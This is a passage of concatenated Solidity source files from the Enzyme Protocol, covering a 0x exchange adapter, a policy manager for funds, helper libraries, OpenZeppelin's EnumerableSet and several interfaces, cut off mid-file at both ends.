(, , , bytes memory signature) = __decodeZeroExOrderArgs(encodedZeroExOrderArgs);
IZeroExV2(EXCHANGE).fillOrder(order, takerAssetFillAmount, signature);
}
// PRIVATE FUNCTIONS
/// @dev Parses user inputs into a ZeroExV2.Order format
function __constructOrderStruct(bytes memory _encodedOrderArgs)
private
pure
returns (IZeroExV2.Order memory order_)
{
(
address[4] memory orderAddresses,
uint256[6] memory orderValues,
bytes[2] memory orderData,
) = __decodeZeroExOrderArgs(_encodedOrderArgs);
return
IZeroExV2.Order({
makerAddress: orderAddresses[0],
takerAddress: orderAddresses[1],
feeRecipientAddress: orderAddresses[2],
senderAddress: orderAddresses[3],
makerAssetAmount: orderValues[0],
takerAssetAmount: orderValues[1],
makerFee: orderValues[2],
takerFee: orderValues[3],
expirationTimeSeconds: orderValues[4],
salt: orderValues[5],
makerAssetData: orderData[0],
takerAssetData: orderData[1]
});
}
/// @dev Decode the parameters of a takeOrder call
/// @param _encodedCallArgs Encoded parameters passed from client side
/// @return encodedZeroExOrderArgs_ Encoded args of the 0x order
/// @return takerAssetFillAmount_ Amount of taker asset to fill
function __decodeTakeOrderCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (bytes memory encodedZeroExOrderArgs_, uint256 takerAssetFillAmount_)
{
return abi.decode(_encodedCallArgs, (bytes, uint256));
}
/// @dev Decode the parameters of a 0x order
/// @param _encodedZeroExOrderArgs Encoded parameters of the 0x order
/// @return orderAddresses_ Addresses used in the order
/// - [0] 0x Order param: makerAddress
/// - [1] 0x Order param: takerAddress
/// - [2] 0x Order param: feeRecipientAddress
/// - [3] 0x Order param: senderAddress
/// @return orderValues_ Values used in the order
/// - [0] 0x Order param: makerAssetAmount
/// - [1] 0x Order param: takerAssetAmount
/// - [2] 0x Order param: makerFee
/// - [3] 0x Order param: takerFee
/// - [4] 0x Order param: expirationTimeSeconds
/// - [5] 0x Order param: salt
/// @return orderData_ Bytes data used in the order
/// - [0] 0x Order param: makerAssetData
/// - [1] 0x Order param: takerAssetData
/// @return signature_ Signature of the order
function __decodeZeroExOrderArgs(bytes memory _encodedZeroExOrderArgs)
private
pure
returns (
address[4] memory orderAddresses_,
uint256[6] memory orderValues_,
bytes[2] memory orderData_,
bytes memory signature_
)
{
return abi.decode(_encodedZeroExOrderArgs, (address[4], uint256[6], bytes[2], bytes));
}
/// @dev Parses the asset address from 0x assetData
function __getAssetAddress(bytes memory _assetData)
private
pure
returns (address assetAddress_)
{
assembly {
assetAddress_ := mload(add(_assetData, 36))
}
}
/// @dev Gets the 0x assetProxy address for an ERC20 token
function __getAssetProxy(bytes memory _assetData) private view returns (address assetProxy_) {
bytes4 assetProxyId;
assembly {
assetProxyId := and(
mload(add(_assetData, 32)),
0xFFFFFFFF00000000000000000000000000000000000000000000000000000000
)
}
assetProxy_ = IZeroExV2(EXCHANGE).getAssetProxy(assetProxyId);
}
/////////////////////////////
// ALLOWED MAKERS REGISTRY //
/////////////////////////////
/// @notice Adds accounts to the list of allowed 0x order makers
/// @param _accountsToAdd Accounts to add
function addAllowedMakers(address[] calldata _accountsToAdd) external onlyFundDeployerOwner {
__addAllowedMakers(_accountsToAdd);
}
/// @notice Removes accounts from the list of allowed 0x order makers
/// @param _accountsToRemove Accounts to remove
function removeAllowedMakers(address[] calldata _accountsToRemove)
external
onlyFundDeployerOwner
{
require(_accountsToRemove.length > 0, "removeAllowedMakers: Empty _accountsToRemove");
for (uint256 i; i < _accountsToRemove.length; i++) {
require(
isAllowedMaker(_accountsToRemove[i]),
"removeAllowedMakers: Account is not an allowed maker"
);
makerToIsAllowed[_accountsToRemove[i]] = false;
emit AllowedMakerRemoved(_accountsToRemove[i]);
}
}
/// @dev Helper to add accounts to the list of allowed makers
function __addAllowedMakers(address[] memory _accountsToAdd) private {
require(_accountsToAdd.length > 0, "__addAllowedMakers: Empty _accountsToAdd");
for (uint256 i; i < _accountsToAdd.length; i++) {
require(!isAllowedMaker(_accountsToAdd[i]), "__addAllowedMakers: Value already set");
makerToIsAllowed[_accountsToAdd[i]] = true;
emit AllowedMakerAdded(_accountsToAdd[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `EXCHANGE` variable value
/// @return exchange_ The `EXCHANGE` variable value
function getExchange() external view returns (address exchange_) {
return EXCHANGE;
}
/// @notice Checks whether an account is an allowed maker of 0x orders
/// @param _who The account to check
/// @return isAllowedMaker_ True if _who is an allowed maker
function isAllowedMaker(address _who) public view returns (bool isAllowedMaker_) {
return makerToIsAllowed[_who];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @dev Minimal interface for our interactions with the ZeroEx Exchange contract
interface IZeroExV2 {
struct Order {
address makerAddress;
address takerAddress;
address feeRecipientAddress;
address senderAddress;
uint256 makerAssetAmount;
uint256 takerAssetAmount;
uint256 makerFee;
uint256 takerFee;
uint256 expirationTimeSeconds;
uint256 salt;
bytes makerAssetData;
bytes takerAssetData;
}
struct OrderInfo {
uint8 orderStatus;
bytes32 orderHash;
uint256 orderTakerAssetFilledAmount;
}
struct FillResults {
uint256 makerAssetFilledAmount;
uint256 takerAssetFilledAmount;
uint256 makerFeePaid;
uint256 takerFeePaid;
}
function ZRX_ASSET_DATA() external view returns (bytes memory);
function filled(bytes32) external view returns (uint256);
function cancelled(bytes32) external view returns (bool);
function getOrderInfo(Order calldata) external view returns (OrderInfo memory);
function getAssetProxy(bytes4) external view returns (address);
function isValidSignature(
bytes32,
address,
bytes calldata
) external view returns (bool);
function preSign(
bytes32,
address,
bytes calldata
) external;
function cancelOrder(Order calldata) external;
function fillOrder(
Order calldata,
uint256,
bytes calldata
) external returns (FillResults memory);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
/// @title MathHelpers Contract
/// @author Enzyme Council <[email protected]>
/// @notice Helper functions for common math operations
abstract contract MathHelpers {
using SafeMath for uint256;
/// @dev Calculates a proportional value relative to a known ratio
function __calcRelativeQuantity(
uint256 _quantity1,
uint256 _quantity2,
uint256 _relativeQuantity1
) internal pure returns (uint256 relativeQuantity2_) {
return _relativeQuantity1.mul(_quantity2).div(_quantity1);
}
/// @dev Calculates a rate normalized to 10^18 precision,
/// for given base and quote asset decimals and amounts
function __calcNormalizedRate(
uint256 _baseAssetDecimals,
uint256 _baseAssetAmount,
uint256 _quoteAssetDecimals,
uint256 _quoteAssetAmount
) internal pure returns (uint256 normalizedRate_) {
return
_quoteAssetAmount.mul(10**_baseAssetDecimals.add(18)).div(
_baseAssetAmount.mul(10**_quoteAssetDecimals)
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title AddressArray Library
/// @author Enzyme Council <[email protected]>
/// @notice A library to extend the address array data type
library AddressArrayLib {
/// @dev Helper to verify if an array contains a particular value
function contains(address[] memory _self, address _target)
internal
pure
returns (bool doesContain_)
{
for (uint256 i; i < _self.length; i++) {
if (_target == _self[i]) {
return true;
}
}
return false;
}
/// @dev Helper to verify if array is a set of unique values.
/// Does not assert length > 0.
function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) {
if (_self.length <= 1) {
return true;
}
uint256 arrayLength = _self.length;
for (uint256 i; i < arrayLength; i++) {
for (uint256 j = i + 1; j < arrayLength; j++) {
if (_self[i] == _self[j]) {
return false;
}
}
}
return true;
}
/// @dev Helper to remove items from an array. Removes all matching occurrences of each item.
/// Does not assert uniqueness of either array.
function removeItems(address[] memory _self, address[] memory _itemsToRemove)
internal
pure
returns (address[] memory nextArray_)
{
if (_itemsToRemove.length == 0) {
return _self;
}
bool[] memory indexesToRemove = new bool[](_self.length);
uint256 remainingItemsCount = _self.length;
for (uint256 i; i < _self.length; i++) {
if (contains(_itemsToRemove, _self[i])) {
indexesToRemove[i] = true;
remainingItemsCount--;
}
}
if (remainingItemsCount == _self.length) {
nextArray_ = _self;
} else if (remainingItemsCount > 0) {
nextArray_ = new address[](remainingItemsCount);
uint256 nextArrayIndex;
for (uint256 i; i < _self.length; i++) {
if (!indexesToRemove[i]) {
nextArray_[nextArrayIndex] = _self[i];
nextArrayIndex++;
}
}
}
return nextArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund-deployer/IFundDeployer.sol";
/// @title FundDeployerOwnerMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract that defers ownership to the owner of FundDeployer
abstract contract FundDeployerOwnerMixin {
address internal immutable FUND_DEPLOYER;
modifier onlyFundDeployerOwner() {
require(
msg.sender == getOwner(),
"onlyFundDeployerOwner: Only the FundDeployer owner can call this function"
);
_;
}
constructor(address _fundDeployer) public {
FUND_DEPLOYER = _fundDeployer;
}
/// @notice Gets the owner of this contract
/// @return owner_ The owner
/// @dev Ownership is deferred to the owner of the FundDeployer contract
function getOwner() public view returns (address owner_) {
return IFundDeployer(FUND_DEPLOYER).getOwner();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() external view returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundDeployer Interface
/// @author Enzyme Council <[email protected]>
interface IFundDeployer {
enum ReleaseStatus {PreLaunch, Live, Paused}
function getOwner() external view returns (address);
function getReleaseStatus() external view returns (ReleaseStatus);
function isRegisteredVaultCall(address, bytes4) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../core/fund/vault/IVault.sol";
import "../utils/ExtensionBase.sol";
import "../utils/FundDeployerOwnerMixin.sol";
import "./IPolicy.sol";
import "./IPolicyManager.sol";
/// @title PolicyManager Contract
/// @author Enzyme Council <[email protected]>
/// @notice Manages policies for funds
contract PolicyManager is IPolicyManager, ExtensionBase, FundDeployerOwnerMixin {
using EnumerableSet for EnumerableSet.AddressSet;
event PolicyDeregistered(address indexed policy, string indexed identifier);
event PolicyDisabledForFund(address indexed comptrollerProxy, address indexed policy);
event PolicyEnabledForFund(
address indexed comptrollerProxy,
address indexed policy,
bytes settingsData
);
event PolicyRegistered(
address indexed policy,
string indexed identifier,
PolicyHook[] implementedHooks
);
EnumerableSet.AddressSet private registeredPolicies;
mapping(address => mapping(PolicyHook => bool)) private policyToHookToIsImplemented;
mapping(address => EnumerableSet.AddressSet) private comptrollerProxyToPolicies;
modifier onlyBuySharesHooks(address _policy) {
require(
!policyImplementsHook(_policy, PolicyHook.PreCallOnIntegration) &&
!policyImplementsHook(_policy, PolicyHook.PostCallOnIntegration),
"onlyBuySharesHooks: Disallowed hook"
);
_;
}
modifier onlyEnabledPolicyForFund(address _comptrollerProxy, address _policy) {
require(
policyIsEnabledForFund(_comptrollerProxy, _policy),
"onlyEnabledPolicyForFund: Policy not enabled"
);
_;
}
constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {}
// EXTERNAL FUNCTIONS
/// @notice Validates and initializes policies as necessary prior to fund activation
/// @param _isMigratedFund True if the fund is migrating to this release
/// @dev Caller is expected to be a valid ComptrollerProxy, but there isn't a need to validate.
function activateForFund(bool _isMigratedFund) external override {
address vaultProxy = __setValidatedVaultProxy(msg.sender);
// Policies must assert that they are congruent with migrated vault state
if (_isMigratedFund) {
address[] memory enabledPolicies = getEnabledPoliciesForFund(msg.sender);
for (uint256 i; i < enabledPolicies.length; i++) {
__activatePolicyForFund(msg.sender, vaultProxy, enabledPolicies[i]);
}
}
}
/// @notice Deactivates policies for a fund by destroying storage
function deactivateForFund() external override {
delete comptrollerProxyToVaultProxy[msg.sender];
for (uint256 i = comptrollerProxyToPolicies[msg.sender].length(); i > 0; i--) {
comptrollerProxyToPolicies[msg.sender].remove(
comptrollerProxyToPolicies[msg.sender].at(i - 1)
);
}
}
/// @notice Disables a policy for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The policy address to disable
function disablePolicyForFund(address _comptrollerProxy, address _policy)
external
onlyBuySharesHooks(_policy)
onlyEnabledPolicyForFund(_comptrollerProxy, _policy)
{
__validateIsFundOwner(getVaultProxyForFund(_comptrollerProxy), msg.sender);
comptrollerProxyToPolicies[_comptrollerProxy].remove(_policy);
emit PolicyDisabledForFund(_comptrollerProxy, _policy);
}
/// @notice Enables a policy for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The policy address to enable
/// @param _settingsData The encoded settings data with which to configure the policy
/// @dev Disabling a policy does not delete fund config on the policy, so if a policy is
/// disabled and then enabled again, its initial state will be the previous config. It is the
/// policy's job to determine how to merge that config with the _settingsData param in this function.
function enablePolicyForFund(
address _comptrollerProxy,
address _policy,
bytes calldata _settingsData
) external onlyBuySharesHooks(_policy) {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
__validateIsFundOwner(vaultProxy, msg.sender);
__enablePolicyForFund(_comptrollerProxy, _policy, _settingsData);
__activatePolicyForFund(_comptrollerProxy, vaultProxy, _policy);
}
/// @notice Enable policies for use in a fund
/// @param _configData Encoded config data
/// @dev Only called during init() on ComptrollerProxy deployment
function setConfigForFund(bytes calldata _configData) external override {
(address[] memory policies, bytes[] memory settingsData) = abi.decode(
_configData,
(address[], bytes[])
);
// Sanity check
require(
policies.length == settingsData.length,
"setConfigForFund: policies and settingsData array lengths unequal"
);
// Enable each policy with settings
for (uint256 i; i < policies.length; i++) {
__enablePolicyForFund(msg.sender, policies[i], settingsData[i]);
}
}
/// @notice Updates policy settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The Policy contract to update
/// @param _settingsData The encoded settings data with which to update the policy config
function updatePolicySettingsForFund(
address _comptrollerProxy,
address _policy,
bytes calldata _settingsData
) external onlyBuySharesHooks(_policy) onlyEnabledPolicyForFund(_comptrollerProxy, _policy) {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
__validateIsFundOwner(vaultProxy, msg.sender);
IPolicy(_policy).updateFundSettings(_comptrollerProxy, vaultProxy, _settingsData);
}
/// @notice Validates all policies that apply to a given hook for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _hook The PolicyHook for which to validate policies
/// @param _validationData The encoded data with which to validate the filtered policies
function validatePolicies(
address _comptrollerProxy,
PolicyHook _hook,
bytes calldata _validationData
) external override {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
address[] memory policies = getEnabledPoliciesForFund(_comptrollerProxy);
for (uint256 i; i < policies.length; i++) {
if (!policyImplementsHook(policies[i], _hook)) {
continue;
}
require(
IPolicy(policies[i]).validateRule(
_comptrollerProxy,
vaultProxy,
_hook,
_validationData
),
string(
abi.encodePacked(
"Rule evaluated to false: ",
IPolicy(policies[i]).identifier()
)
)
);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to activate a policy for a fund
function __activatePolicyForFund(
address _comptrollerProxy,
address _vaultProxy,
address _policy
) private {
IPolicy(_policy).activateForFund(_comptrollerProxy, _vaultProxy);
}
/// @dev Helper to set config and enable policies for a fund
function __enablePolicyForFund(
address _comptrollerProxy,
address _policy,
bytes memory _settingsData
) private {
require(
!policyIsEnabledForFund(_comptrollerProxy, _policy),
"__enablePolicyForFund: policy already enabled"
);
require(policyIsRegistered(_policy), "__enablePolicyForFund: Policy is not registered");
// Set fund config on policy
if (_settingsData.length > 0) {
IPolicy(_policy).addFundSettings(_comptrollerProxy, _settingsData);
}
// Add policy
comptrollerProxyToPolicies[_comptrollerProxy].add(_policy);
emit PolicyEnabledForFund(_comptrollerProxy, _policy, _settingsData);
}
/// @dev Helper to validate fund owner.
/// Preferred to a modifier because allows gas savings if re-using _vaultProxy.
function __validateIsFundOwner(address _vaultProxy, address _who) private view {
require(
_who == IVault(_vaultProxy).getOwner(),
"Only the fund owner can call this function"
);
}
///////////////////////
// POLICIES REGISTRY //
///////////////////////
/// @notice Remove policies from the list of registered policies
/// @param _policies Addresses of policies to be registered
function deregisterPolicies(address[] calldata _policies) external onlyFundDeployerOwner {
require(_policies.length > 0, "deregisterPolicies: _policies cannot be empty");
for (uint256 i; i < _policies.length; i++) {
require(
policyIsRegistered(_policies[i]),
"deregisterPolicies: policy is not registered"
);
registeredPolicies.remove(_policies[i]);
emit PolicyDeregistered(_policies[i], IPolicy(_policies[i]).identifier());
}
}
/// @notice Add policies to the list of registered policies
/// @param _policies Addresses of policies to be registered
function registerPolicies(address[] calldata _policies) external onlyFundDeployerOwner {
require(_policies.length > 0, "registerPolicies: _policies cannot be empty");
for (uint256 i; i < _policies.length; i++) {
require(
!policyIsRegistered(_policies[i]),
"registerPolicies: policy already registered"
);
registeredPolicies.add(_policies[i]);
// Store the hooks that a policy implements for later use.
// Fronts the gas for calls to check if a hook is implemented, and guarantees
// that the implementsHooks return value does not change post-registration.
IPolicy policyContract = IPolicy(_policies[i]);
PolicyHook[] memory implementedHooks = policyContract.implementedHooks();
for (uint256 j; j < implementedHooks.length; j++) {
policyToHookToIsImplemented[_policies[i]][implementedHooks[j]] = true;
}
emit PolicyRegistered(_policies[i], policyContract.identifier(), implementedHooks);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Get all registered policies
/// @return registeredPoliciesArray_ A list of all registered policy addresses
function getRegisteredPolicies()
external
view
returns (address[] memory registeredPoliciesArray_)
{
registeredPoliciesArray_ = new address[](registeredPolicies.length());
for (uint256 i; i < registeredPoliciesArray_.length; i++) {
registeredPoliciesArray_[i] = registeredPolicies.at(i);
}
}
/// @notice Get a list of enabled policies for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return enabledPolicies_ An array of enabled policy addresses
function getEnabledPoliciesForFund(address _comptrollerProxy)
public
view
returns (address[] memory enabledPolicies_)
{
enabledPolicies_ = new address[](comptrollerProxyToPolicies[_comptrollerProxy].length());
for (uint256 i; i < enabledPolicies_.length; i++) {
enabledPolicies_[i] = comptrollerProxyToPolicies[_comptrollerProxy].at(i);
}
}
/// @notice Checks if a policy implements a particular hook
/// @param _policy The address of the policy to check
/// @param _hook The PolicyHook to check
/// @return implementsHook_ True if the policy implements the hook
function policyImplementsHook(address _policy, PolicyHook _hook)
public
view
returns (bool implementsHook_)
{
return policyToHookToIsImplemented[_policy][_hook];
}
/// @notice Check if a policy is enabled for the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund to check
/// @param _policy The address of the policy to check
/// @return isEnabled_ True if the policy is enabled for the fund
function policyIsEnabledForFund(address _comptrollerProxy, address _policy)
public
view
returns (bool isEnabled_)
{
return comptrollerProxyToPolicies[_comptrollerProxy].contains(_policy);
}
/// @notice Check whether a policy is registered
/// @param _policy The address of the policy to check
/// @return isRegistered_ True if the policy is registered
function policyIsRegistered(address _policy) public view returns (bool isRegistered_) {
return registeredPolicies.contains(_policy);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../persistent/utils/IMigratableVault.sol";
/// @title IVault Interface
/// @author Enzyme Council <[email protected]>
interface IVault is IMigratableVault {
function addTrackedAsset(address) external;
function approveAssetSpender(
address,
address,
uint256
) external;
function burnShares(address, uint256) external;
function callOnContract(address, bytes calldata) external;
function getAccessor() external view returns (address);
function getOwner() external view returns (address);
function getTrackedAssets() external view returns (address[] memory);
function isTrackedAsset(address) external view returns (bool);
function mintShares(address, uint256) external;
function removeTrackedAsset(address) external;
function transferShares(
address,
address,
uint256
) external;
function withdrawAssetTo(
address,
address,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/IComptroller.sol";
import "../../core/fund/vault/IVault.sol";
import "../IExtension.sol";
/// @title ExtensionBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Base class for an extension
abstract contract ExtensionBase is IExtension {
mapping(address => address) internal comptrollerProxyToVaultProxy;
/// @notice Allows extension to run logic during fund activation
/// @dev Unimplemented by default, may be overridden.
function activateForFund(bool) external virtual override {
return;
}
/// @notice Allows extension to run logic during fund deactivation (destruct)
/// @dev Unimplemented by default, may be overridden.
function deactivateForFund() external virtual override {
return;
}
/// @notice Receives calls from ComptrollerLib.callOnExtension()
/// and dispatches the appropriate action
/// @dev Unimplemented by default, may be overridden.
function receiveCallFromComptroller(
address,
uint256,
bytes calldata
) external virtual override {
revert("receiveCallFromComptroller: Unimplemented for Extension");
}
/// @notice Allows extension to run logic during fund configuration
/// @dev Unimplemented by default, may be overridden.
function setConfigForFund(bytes calldata) external virtual override {
return;
}
/// @dev Helper to validate a ComptrollerProxy-VaultProxy relation, which we store for both
/// gas savings and to guarantee a spoofed ComptrollerProxy does not change getVaultProxy().
/// Will revert without reason if the expected interfaces do not exist.
function __setValidatedVaultProxy(address _comptrollerProxy)
internal
returns (address vaultProxy_)
{
require(
comptrollerProxyToVaultProxy[_comptrollerProxy] == address(0),
"__setValidatedVaultProxy: Already set"
);
vaultProxy_ = IComptroller(_comptrollerProxy).getVaultProxy();
require(vaultProxy_ != address(0), "__setValidatedVaultProxy: Missing vaultProxy");
require(
_comptrollerProxy == IVault(vaultProxy_).getAccessor(),
"__setValidatedVaultProxy: Not the VaultProxy accessor"
);
comptrollerProxyToVaultProxy[_comptrollerProxy] = vaultProxy_;
return vaultProxy_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the verified VaultProxy for a given ComptrollerProxy
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return vaultProxy_ The VaultProxy of the fund
function getVaultProxyForFund(address _comptrollerProxy)
public
view
returns (address vaultProxy_)
{
return comptrollerProxyToVaultProxy[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IPolicyManager.sol";
/// @title Policy Interface
/// @author Enzyme Council <[email protected]>
interface IPolicy {
function activateForFund(address _comptrollerProxy, address _vaultProxy) external;
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings) external;
function identifier() external pure returns (string memory identifier_);
function implementedHooks()
external
view
returns (IPolicyManager.PolicyHook[] memory implementedHooks_);
function updateFundSettings(
address _comptrollerProxy,
address _vaultProxy,
bytes calldata _encodedSettings
) external;
function validateRule(
address _comptrollerProxy,
address _vaultProxy,
IPolicyManager.PolicyHook _hook,
bytes calldata _encodedArgs
